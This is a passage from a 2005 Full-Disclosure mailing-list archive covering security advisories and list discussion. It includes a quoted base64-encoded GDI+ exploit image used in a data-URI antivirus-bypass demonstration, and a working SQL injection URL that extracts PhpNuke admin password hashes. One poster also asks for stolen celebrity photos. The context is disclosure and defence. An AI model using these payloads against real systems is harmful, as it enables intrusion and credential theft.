ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF > > xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD// > > Z"> > > > > > > > > ## END HTML ## > > > > Solution: > > > > While AV vendor patches are not yet available, fixes for all currently > > known image vulnerabilities are > > and have been for several months. If you have not yet applied them, > > you have your own > > negligence to blame. > > > > Contributions: > > > > Thanks to Scott Roeder and Jacinto Rodriquez their assistance in > > platform testing. > > > > Thank you, > > > > Darren Bounds > > Intrusense, LLC. > > http://www.intrusense.com > > > > - -- > > Intrusense - Securing Business As Usual > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.2.4 (Darwin) > > > > iD8DBQFB4tKesvxTSz2eaa8RAluUAKDmUsM6Hf+U321P/kALTC/rKwoLOwCfaK57 > > XT6MWYJOH3FmLfV3B1UfuJA= > > =82yy > > -----END PGP SIGNATURE----- > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.netsys.com/full-disclosure-charter.html > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- Noam Rathaus CTO Beyond Security Ltd. http://www.beyondsecurity.com http://www.securiteam.com From mlande at bellsouth.net Wed Jan 12 16:00:30 2005 From: mlande at bellsouth.net (Mary Landesman) Date: Wed, 12 Jan 2005 11:00:30 -0500 Subject: [Full-Disclosure] FW: MS Antispyware makes deal to leaveWeatherbugalone References: Message-ID: <017701c4f8bf$d77a1240$0e3eac18@MLANDE> This began with Aluria (makes of Spyware Eliminator). They (Aluria) began a 'spyware safe' certification program. Some they've granted the use of the logo include WeatherBug and WhenU. In the case of WhenU (and perhaps others), Aluria has also created 'UControl' - a 'free' 'spyware' scanner (costs for removal, may be ignoring 'partners' in their logo/distribution program, etc.) that seems to get downloaded and installed with adware/spyware apps. While I don't agree with these actions on either of their parts, I do have to say that the situation remains very complicated. For example, if WhenUSearch and WeatherBug are candidates for inclusion (and I do believe they are), then so is AIM (which uses Viewpoint Media Player to dish ads), and Google toolbar (which tracks URLs visited unless you disable several features of their toolbar). CounterSpy (which uses MS-Giant technology) describes WeatherBug here: http://research.sunbelt-software.com/threat_display.cfm?name=MiniBug I think this language is fair and accurate. Assuming Microsoft AntiSpyware provided the same description when it detected WeatherBug, I'm surprised Microsoft so easily backed down. There is definitely a happy balance between letting a user know adware is installed on their computer and calling it a bad app. It would be great if more companies would focus on how this might be done, instead of excluding detection arbitrarily - or calling rather benign adware a high risk menace. -- Mary ----- Original Message ----- From: "ALD, Aditya,Aditya Lalit Deshmukh" To: "'Todd Towles'" ; "'Mailing List - Full-Disclosure'" Sent: Tuesday, January 11, 2005 11:36 PM Subject: RE: [Full-Disclosure] FW: MS Antispyware makes deal to leaveWeatherbugalone > And the money payoff begins.. So looks like MS anti spyware would be just one more useless tool from microsoft. As a win32 kern programmer I find all the spyware removal buiness too time consuming - if any one of them affects my machine they get weeded out with a kern debugger. But there should be a way to automate the process. Looks like we do have to stick with our trusty debuggers, spybot and ad-aware! From maru at scip.ch Wed Jan 12 14:37:05 2005 From: maru at scip.ch (Marc Ruef) Date: Wed, 12 Jan 2005 15:37:05 +0100 Subject: [Full-Disclosure] Attack Tool Kit 4.0 released Message-ID: <5F9D803B30A8E4418166E637D50E9E2A139F25@miraculix.scip.ch> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dear list, The Attack Tool Kit (ATK) is an open-source security scanner and exploiting framework for Microsoft Windows. The ATK 4.0 has been released. Most improvements and enhancements has been invested in the reporting engine. The generation of html, text and Nessus nsr reports is now possible. Furthermore more than 340 ATK plugins are available and the Nessus NASL plugin handling has been re-introduced. Feel free to download the latest release on the project web site at http://www.computec.ch/projekte/atk/ Regards, Marc Ruef PS.: I am still looking for good persons who want to support the project by writing new ATK plugins. If you're interessted, please let me know! - -- ) scip AG ( Technoparkstr. 1 8005 Z?rich T +41 1 445 18 18 F +41 1 445 18 19 maru at scip.ch www.scip.ch - - Aktuellste IT-Sicherheitsluecken - -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 Comment: http://www.scip.ch iQA/AwUBQeU2Ehe5hzJzqVMhEQIAigCggmaZnYBHcTnMSdulf+jOKK1CCv4AoOe8 +l2tI0NgmZ+GY1HgD5oXB75Y =W9+i -----END PGP SIGNATURE----- From onestepto at yahoo.com.au Wed Jan 12 16:50:37 2005 From: onestepto at yahoo.com.au (Paul) Date: Thu, 13 Jan 2005 03:50:37 +1100 (EST) Subject: [Full-Disclosure] Incorrect characters Message-ID: <20050112165037.69934.qmail@web12826.mail.yahoo.com> Hi list, Firstly, I sent an email to a client quoting some prices on the server that we use for our own website and it arrived with the (correctly) typed ? sign as a capital 'L' . I then sent a test email to myself from my ISP account to my address on this same (questionable) server and it was perfect. To be sure, I repeated this exercise the opposite way round (own server to ISP a/c) again perfect! I phoned my ISP help boys who are usually mega reliable and they assured me they had never experienced this before. So - has anyone any ideas on this, I can only assume that the problem lies with the recipient's ISP's web server - I do not know the os. Secondly, if characters are being mis-read by a machine on any send path does such an error constitute a risk? Thirdly, if so, what steps should be taken? Catch ya _____________________ one step at a time... --------------------------------- Find local movie times and trailers on Yahoo! Movies. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/9aced1c0/attachment.html From deindl at irt.de Wed Jan 12 16:58:24 2005 From: deindl at irt.de (Albert Deindl) Date: Wed, 12 Jan 2005 17:58:24 +0100 Subject: [Full-Disclosure] MediaSentry false positives? In-Reply-To: References: Message-ID: <41E55730.4060501@irt.de> Hello, > Has anybody received "Notice of claimed infringement" from MediaSentry > for IP addresses which, while registered to you or your organization, > are in a range not actively in use? Just to mention: We also received several "Notice of claimed infringement" from MediaSentry over the last few weeks. All ip addresses claimed to offer copyrighted material were from unused Subnets. Although these subnets ARE routed - we can almost certainly rule out the possibility of some employee using these ips at the claimed time unbeknown to us. It seems to me that MediaSentrie's tools are not working as the are supposed to do. Albert -- From joel at servicestyle.com Wed Jan 12 17:46:52 2005 From: joel at servicestyle.com (Joel Merrick) Date: Wed, 12 Jan 2005 17:46:52 +0000 Subject: [Full-Disclosure] Incorrect characters In-Reply-To: <20050112165037.69934.qmail@web12826.mail.yahoo.com> References: <20050112165037.69934.qmail@web12826.mail.yahoo.com> Message-ID: <1105552013.24356.0.camel@localhost> On Thu, 2005-01-13 at 03:50 +1100, Paul wrote: > Hi list, > Firstly, I sent an email to a client quoting some prices on the server > that we use for our own website and it arrived with the (correctly) > typed ? sign as a capital 'L' . Dunno if it's purely coincidental, but 'L' was the old way of writing ? Doubt this helps with character sets though ;) > I then sent a test email to myself from my ISP account to my address > on this same (questionable) server and it was perfect. To be sure, I > repeated this exercise the opposite way round (own server to ISP a/c) > again perfect! I phoned my ISP help boys who are usually mega reliable > and they assured me they had never experienced this before. So - has > anyone any ideas on this, I can only assume that the problem lies with > the recipient's ISP's web server - I do not know the os. > > Secondly, if characters are being mis-read by a machine on any send > path does such an error constitute a risk? > > Thirdly, if so, what steps should be taken? > > > > > Catch ya > _____________________ > one step at a time... > > > > ______________________________________________________________________ > Find local movie times and trailers on Yahoo! Movies. > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- Joel Merrick email: mobile: 07929 208 567 ServiceStyle Ltd. - Manchester's Technology Experts https://www.servicestyle.com GPG Public Key - https://www.servicestyle.com/joel_servicestyle.asc -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/ca905e16/attachment.bin From bruen at coldrain.net Wed Jan 12 18:25:08 2005 From: bruen at coldrain.net (Stormwalker) Date: Wed, 12 Jan 2005 13:25:08 -0500 (EST) Subject: [Full-Disclosure] Reality, humor, and history (was Re: MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu> Message-ID: Hi Valdis, Must be my age... The synch call writes memory/cache resident data to the appropriate disk files, but does not wait to see if all the dirty buffers in memory have been written to disk before it completes. There is no good way to know if all have files have been updated, except to synch a few times. The haltsys command (Unix V) and shutdown -h issue several synch calls to take care of the problem. Unix today generally issues an update command which calls synch every 30 seconds or so in case of a crash or other sudden, unexpected shutdown (eg fsflush in SVR4). And then there is the potential problem of remote disks, which can cause time delays. The metadata inconsistencies are handled differently, partly by the write order and partly by fsck. cheers, bob (*) My all-time favorite "Close, but no ceee-gar" was the advice column for a Unix journal where the author *remembered* the old "3 syncs before halt" adage - but got it Very Wrong by advising "sync;sync;sync;halt". Bonus points if you can remember (a) the *original* reason for the advice *and* (b) how this version was Very Wrong (there's *multiple* answers for this one ;) -- Dr. Robert Bruen Cold Rain Technologies http://coldrain.net +1.802.579.6288 From andfarm at teknovis.com Wed Jan 12 19:57:27 2005 From: andfarm at teknovis.com (Andrew Farmer) Date: Wed, 12 Jan 2005 11:57:27 -0800 Subject: [Full-Disclosure] Reality, humor, and history (was Re: MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu> References: <200501120435.j0C4Zars018630@lists.netsys.com> <046c01c4f873$3f351f30$0500a8c0@apollo> <200501120936.j0C9arSp025309@turing-police.cc.vt.edu> Message-ID: <2F2FAF61-64D4-11D9-B1DF-000D93C0F38C@teknovis.com> On 12 Jan 2005, at 01:36, Valdis.Kletnieks at vt.edu wrote: > (*) My all-time favorite "Close, but no ceee-gar" was the advice > column for a > Unix journal where the author *remembered* the old "3 syncs before > halt" > adage - but got it Very Wrong by advising "sync;sync;sync;halt". Bonus > points if you can remember (a) the *original* reason for the advice > *and* > (b) how this version was Very Wrong (there's *multiple* answers for > this one ;) As far as the reason this version was so Very Wrong, the main reason for syncing three times was the delay introduced by retyping a command thrice. Typing the whole sequence as a single line wouldn't introduce any significant delay, making the whole thing useless. Most modern systems, however, will at least make a best-effort attempt to push all dirty blocks out to disk on a sync(), as well as on halt. -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 186 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/eaa9a87d/attachment.bin From stevenrakick at yahoo.com Wed Jan 12 20:37:42 2005 From: stevenrakick at yahoo.com (Steven Rakick) Date: Wed, 12 Jan 2005 12:37:42 -0800 (PST) Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability Message-ID: <20050112203742.77430.qmail@web53205.mail.yahoo.com> This would mean that if an image exploiting the recently announced Microsoft LoadImage API overflow were imbedded into HTML email there would be zero defense from the network layer as it would be completely invisible. Why am I not seeing more about this in the press? It seems pretty threatening to me... > On Tue, 11 Jan 2005 14:58:43 -0500, Darren Bounds > wrote: > > Hello Danny, > > > > This vulnerability is only applicable to the HTTP > data while in > > transit. Once received by the client the image > will > be rendered and > > subsequently detected if local AV software. > > > > At the present time, I'm not aware of any AV, IDS > or > IPS vendor that > > will detect malicious images imbedded in HTML in > this manner. > > > > > > Thank you, > > > > Darren Bounds > > Intrusense, LLC. > > > > -- > > Intrusense - Securing Business As Usual > > > > On Jan 11, 2005, at 2:14 PM, Danny wrote: > > > > > On Mon, 10 Jan 2005 14:08:11 -0500, Darren > Bounds > > > wrote: > > >> -----BEGIN PGP SIGNED MESSAGE----- > > >> Hash: SHA1 > > >> > > >> Multi-vendor AV gateway image inspection bypass > vulnerability > > >> January 10, 2005 > > >> > > >> A vulnerability has been discovered which > allows > a remote attacker to > > >> bypass anti-virus > > >> (as well other security technologies such as > IDS > and IPS) inspection > > >> of > > >> HTTP image content. > > >> > > >> By leveraging techniques described in RFC 2397 > for base64 encoding > > >> image content within > > >> the URL scheme. A remote attack may encode a > malicious image within > > >> the > > >> body of an HTML > > >> formatted document to circumvent content > inspection. > > >> > > >> For example: > > >> > > >> > http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php > > >> > > >> The source code at the URL above will by > default > create a JPEG image > > >> that will attempt (and fail > > >> without tweaking) to exploit the Microsoft > MS04-028 GDI+ > > >> vulnerability. > > >> The image itself is detected > > >> by all AV gateway engines tested (Trend, Sophos > and McAfee), however, > > >> when the same image > > >> is base64 encoded using the technique described > in RFC 2397 > > >> (documented > > >> below), inspection > > >> is not performed and is delivered rendered by > the > client. > > >> > > >> While Microsoft Internet Explorer does not > support the RFC 2397 URL > > >> scheme; Firefox, Safari, > > >> Mozilla and Opera do and will render the data > and > thus successfully > > >> execute the payload if the necessary > > >> OS and/or application patches have not been > applied. > > >> > > >> ## BEGIN HTML ## > > >> > > >> > > >> > > >> > >> > src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// > > >> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw > > >> / > > >> > X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF > > >> B > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > > >> FB > > >> > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/ > > >> bAEMACAYGBwYFCAcHBwkJ > > >> > CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv > > >> /b > > >> > AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj > > >> Iy > > >> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/ > > >> xAAfAAABBQEBAQEBAQAAAAAAAAAA > > >> AQIDBAUGBwgJCgv/ > > >> > xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR > > >> > oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2 > > >> Rl > > >> > ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc > > >> bH > === message truncated === __________________________________ Do you Yahoo!? Yahoo! Mail - now with 250MB free storage. Learn more. http://info.mail.yahoo.com/mail_250 From mike124 at gmail.com Wed Jan 12 17:28:02 2005 From: mike124 at gmail.com (Michael Yandrischovitz) Date: Wed, 12 Jan 2005 12:28:02 -0500 Subject: [Full-Disclosure] AOL password issue Message-ID: I recently discovered an interesting security issue with AOL 9.0SE /AOL Messanger(suprise,suprise). If a user has an exsisting account with AOL, and changes his or her account password, the old password still works to log on to AIM. This lets the attacker access to all the features of AIM, including webmail. I have only tested this with the lastest versions of AOL and AIM. From khermansen at ht-technology.com Wed Jan 12 18:43:50 2005 From: khermansen at ht-technology.com (Kristian Hermansen) Date: Wed, 12 Jan 2005 13:43:50 -0500 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: <200501121700.j0CH0K9g013975@lists.netsys.com> References: <200501121700.j0CH0K9g013975@lists.netsys.com> Message-ID: <1105555430.9780.12.camel@localhost.localdomain> Does anyone have specifics on how this hacker Jacobson exploited flaws in the T-Mobile server applications to gain entry to the back-end database? Was it some gross oversight on T-Mobile's part or something more obscure that admins should know about? The Secret Service seems to believe that either his skills or his underground connections will allow him to be their personal slut for the next few years. http://www.securityfocus.com/news/10271 Oh, and if anyone has some of the celebrity pictures that he snarfed from the database I would care for a link! -- Kristian Hermansen -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/975b39c4/attachment.bin From come2waraxe at yahoo.com Wed Jan 12 20:08:13 2005 From: come2waraxe at yahoo.com (Janek Vind) Date: Wed, 12 Jan 2005 12:08:13 -0800 (PST) Subject: [Full-Disclosure] [waraxe-2005-SA#039] - Critical Sql Injection in Sgallery module for PhpNuke Message-ID: <20050112200813.94444.qmail@web50410.mail.yahoo.com> {================================================================================} { [waraxe-2005-SA#039] } {================================================================================} { } { [ Critical Sql Injection in Sgallery module for PhpNuke ] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 12. January 2005 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-39.html Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Module's Name: SGallery Module's Version: 1.01 Module's Description: Simple JPG image gallery License: GNU/GPL Author's Name: Sergey Kiselev Author's Email: ser at acmetelecom.ru Homepage: http://www.ser.acmetelecom.ru Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Let's look at source code from imageview.php: ----------------[ original code ]--------------- require_once("$DOCUMENT_ROOT/config.php"); require_once("$DOCUMENT_ROOT/includes/sql_layer.php"); $dbi = sql_connect ($dbhost,$dbuname,$dbpass,$dbname); if ($idalbum) { $result = sql_query("select picture from ".$prefix."_SGalbums where idalbum=".$idalbum,$dbi); } elseif ($idimage) { $result = sql_query("select picture from ".$prefix."_SGimages where idimage=".$idimage,$dbi); } list($echo) = sql_fetch_row($result, $dbi); sql_free_result($result); sql_logout ($dbi); header ("Content-Type: image/jpeg"); echo $echo; ----------------[ /original code ]--------------- Now let's analyze the weak points. A - Full Path Disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If "$idalbum" and "$idimage" are both unset, then because of the open "if/elseif" construction there variable "$result" will be unset or can be poisoned through GET/POST/COOKIE. And next call of the "sql_fetch_row()" will trigger generic php error messages, leading to full path disclosure. Path disclosure is considered as low level security threat, but anyway it's useful for further malicious actions. B - Potential arbitrary file inclusion: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This kind of code construction as require_once("$DOCUMENT_ROOT/config.php"); require_once("$DOCUMENT_ROOT/includes/sql_layer.php"); is not very secure. Depending of the webserver software vendor,version number and configuration settings it can lead to arbitrary file inclusion and possible remote file inclusion. C - Critical sql injection bug in "imageview.php": ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Looking at source code, presented above, we can see unsecure sql queries directed to the database. To be excact, user submitted variables "$idalbum" and/or "$idimage" are used in sql "SELECT" clause without escaping with single quotes. This is clearly sql injection bug. Further exploitation will depend on database software and version. In case of the mysql version 4.x with UNION functionality enabled, arbitrary data can be retrieved from database, inluding admin(s) authentication credentials. Traditionally, there is the proof of concept: ----------------[ real life exploit ]--------------- http://localhost/nuke75/modules/Sgallery/imageview.php?idimage=-99/**/UNION/ **/SELECT/**/pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1 ----------------[/real life exploit ]--------------- Best browser to test this POC is MSIE - it will show plaintext admin password's md5 hash as needed. Firefox and other browsers will mostly rendering out "broken picture" because of the "Content-Type: image/jpeg" header. But anyway, sql injection exists, can be exploited and must be fixed by vendor as soon as possible. How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Developer first contacted: 16. November 2004 No response from developer after multiple sent emails. Downloadable version of the Sgalley is still unpatched. How to fix this security hole - http://www.waraxe.us/forums.html Additional resources: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Base64 encoder and decoder - http://base64-encoder-online.waraxe.us/ SiteMapper - free php script for phpNuke powered websites - http://sitemapper.waraxe.us/ It's easy to install solution for making phpNuke more Google friendly! Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to icenix, Raido Kerna, g0df4th3r and slimjim100! Tervitused - Heintz! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe at yahoo.com Janek Vind "waraxe" Homepage: http://www.waraxe.us/ ---------------------------------- [ EOF ] ------------------------------------ __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From eric at arcticbears.com Wed Jan 12 21:32:19 2005 From: eric at arcticbears.com (Eric Paynter) Date: Wed, 12 Jan 2005 13:32:19 -0800 (PST) Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: References: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com> Message-ID: <33077.198.162.158.16.1105565539.squirrel@198.162.158.16> On Mon, January 10, 2005 10:53 pm, GuidoZ said: > Hiding behind an anonymous Yahoo email address is pretty weak too. If you > *really* need to express yourself so badly, at least reveal your identity. Anonymous? > Received: from [61.131.63.62] by web61208.mail.yahoo.com via HTTP; > Mon, 10 Jan 2005 18:13:49 PST inetnum: 61.131.0.0 - 61.131.127.255 netname: CHINANET-FJ descr: CHINANET Fujian province network descr: Data Communication Division descr: China Telecom country: CN Not even American... No point in tracking him down further. It's clear the agenda is not domestic. -Eric -- arctic bears - email and dns services http://www.arcticbears.com From vorlon at gentoo.org Wed Jan 12 22:01:30 2005 From: vorlon at gentoo.org (Matthias Geerdsen) Date: Wed, 12 Jan 2005 23:01:30 +0100 Subject: [Full-Disclosure] [ GLSA 200501-23 ] Exim: Two buffer overflows Message-ID: <20050112220130.GA11109@kosh.atw.wh.local> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-23 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Exim: Two buffer overflows Date: January 12, 2005 Bugs: #76893 ID: 200501-23 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Buffer overflow vulnerabilities, which could lead to arbitrary code execution, have been found in the handling of IPv6 addresses as well as in the SPA authentication mechanism in Exim. Background ========== Exim is an highly configurable message transfer agent (MTA) developed at the University of Cambridge. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 mail-mta/exim < 4.43-r2 >= 4.43-r2 Description =========== Buffer overflows have been found in the host_aton() function (CAN-2005-0021) as well as in the spa_base64_to_bits() function (CAN-2005-0022), which is part of the SPA authentication code. Impact ====== A local attacker could trigger the buffer overflow in host_aton() by supplying an illegal IPv6 address with more than 8 components, using a command line option. The second vulnerability could be remotely exploited during SPA authentication, if it is enabled on the server. Both buffer overflows can potentially lead to the execution of arbitrary code. Workaround ========== There is no known workaround at this time. Resolution ========== All Exim users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=mail-mta/exim-4.43-r2" References ========== [ 1 ] Exim Announcement http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html [ 2 ] CAN-2005-0021 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0021 [ 3 ] CAN-2005-0022 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0022 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-23.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/7a2f126d/attachment.bin From nils at steering-group.net Wed Jan 12 21:51:50 2005 From: nils at steering-group.net (Nils Ketelsen) Date: Wed, 12 Jan 2005 16:51:50 -0500 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability In-Reply-To: <20050112203742.77430.qmail@web53205.mail.yahoo.com> References: <20050112203742.77430.qmail@web53205.mail.yahoo.com> Message-ID: <20050112215150.GA21636@h8000.serverkompetenz.net> On Wed, Jan 12, 2005 at 12:37:42PM -0800, Steven Rakick wrote: > This would mean that if an image exploiting the > recently announced Microsoft LoadImage API overflow > were imbedded into HTML email there would be zero > defense from the network layer as it would be > completely invisible. Yes. I am planning to test, what that means to all those content filtering proxies. I have found one product that claims to be able to block "MIME content in HTML", I think they are referring to RfC2397 with that. > > Why am I not seeing more about this in the press? It > seems pretty threatening to me... Internet Explorer does not Implement RfC2397. That means it is interesting for a far smaller audience. ;-) Nils -- Nils Ketelsen // Mississauga, Canada 43? 35' 13"N, 79? 38' 23"W mailto:`#!/bin/sh`@druecke.strg-alt.entf.org http://druecke.strg-alt-entf.org/ From hevnsnt at gmail.com Wed Jan 12 22:19:25 2005 From: hevnsnt at gmail.com (hevnsnt) Date: Wed, 12 Jan 2005 16:19:25 -0600 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: <1105555430.9780.12.camel@localhost.localdomain> References: <200501121700.j0CH0K9g013975@lists.netsys.com> <1105555430.9780.12.camel@localhost.localdomain> Message-ID: PICS? On Wed, 12 Jan 2005 13:43:50 -0500, Kristian Hermansen wrote: > Does anyone have specifics on how this hacker Jacobson exploited flaws > in the T-Mobile server applications to gain entry to the back-end > database? Was it some gross oversight on T-Mobile's part or something > more obscure that admins should know about? The Secret Service seems to > believe that either his skills or his underground connections will allow > him to be their personal slut for the next few years. > > http://www.securityfocus.com/news/10271 > > Oh, and if anyone has some of the celebrity pictures that he snarfed > from the database I would care for a link! > -- > Kristian Hermansen > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > -- Do yourself (and the rest of the internet) a favor, Get Firefox! From seclists at securinews.com Wed Jan 12 22:28:18 2005 From: seclists at securinews.com (Paul Kurczaba) Date: Wed, 12 Jan 2005 17:28:18 -0500 Subject: [Full-Disclosure] PoC to be released on 01/20/05 In-Reply-To: <33077.198.162.158.16.1105565539.squirrel@198.162.158.16> Message-ID: <200501122228.j0CMSVrs015898@lists.netsys.com> That is the same thing I found :) What a waste of bandwidth... He could have at least sent it from a hijacked box in the US :) O, well... -Paul -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Eric Paynter Sent: Wednesday, January 12, 2005 4:32 PM To: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] PoC to be released on 01/20/05 On Mon, January 10, 2005 10:53 pm, GuidoZ said: > Hiding behind an anonymous Yahoo email address is pretty weak too. If > you > *really* need to express yourself so badly, at least reveal your identity. Anonymous? > Received: from 